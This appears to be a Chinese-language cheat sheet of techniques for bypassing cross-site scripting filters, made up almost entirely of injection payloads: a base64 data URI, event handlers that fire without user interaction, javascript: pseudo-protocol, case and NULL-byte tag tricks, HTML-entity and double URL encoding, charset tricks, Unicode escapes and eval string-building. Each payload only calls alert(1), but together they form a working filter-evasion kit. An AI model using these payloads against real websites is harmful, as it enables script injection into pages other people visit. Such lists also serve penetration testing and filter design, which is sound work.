XSS過濾的繞過
腳本標簽
如果script被過濾的話,可以使用偽協議的方法:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
其中PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==為base64編碼的<script>alert(1)</script>
事件處理器
不需要用戶交互的可執行js的事件處理器:
onreadystatechange(xml,style,iframe,object,img,input,isindex,bground)
onpropertychange
onbeforeactivate
onfocusin
onactivate
注意:在HTML5中,結束標簽中也可以使用事件處理器
腳本偽協議
腳本偽協議可以用在各種位置,在需要URL的屬性中執行行內腳本,如:
<object data=javascript:alert(1)>
標簽名稱
通過改變標簽名稱的大小寫,可以避開最簡單的過濾:
<iMg onerror=alert(1) src=a>
更進一步,可以在任何位置插入NULL字節:
<[%00]img onerror=alert(1) src=a>
<i[%00]mg onerror=alert(1) src=a>
或者,可以將標簽作一改變,即可避開僅僅阻止特定標簽名的過濾:
<x onclick=alert(1) src=a>Click here</x>
標簽名稱后的空格
可以使用:/,[%09],[%0d],[%0a],/”,/’來代替,如:
<img/onerror=alert(1) src=a>
通過HTML編碼繞過過濾(也可以使用十進制r,十六進制Ĕ)
使用HTML編碼,在進一步處理屬性值的時候,瀏覽器會對其進行HTML解碼:
<img onerror=alert(1) src=a>
如果存在兩次URL解碼
可以通過構造:
%253cimg%20onerror=alert(1)%20src=a%253e
第一次URL解碼以后:
%3cimg onerror=alert(1) src=a%3e
第二次URL解碼以后:
<img onerror=alert(1) src=a>
字符集繞過
UTF-7,US-ASCII,UTF-16(這種方法只有在瀏覽器支持所用的字符集才可以,或者你可以控制HTTPContent-Type消息頭)
使用js轉義
Unicode轉義可以用於表示js關鍵詞中的字符
<script>a\u006cert(1);</script>
通過eval命令來動態構建字符串
<script>eval('al'+'ert(1)');</script>
替代eval的方法
`<script>'alert(1)'.replace(/.+/,eval)</script>`
---------------------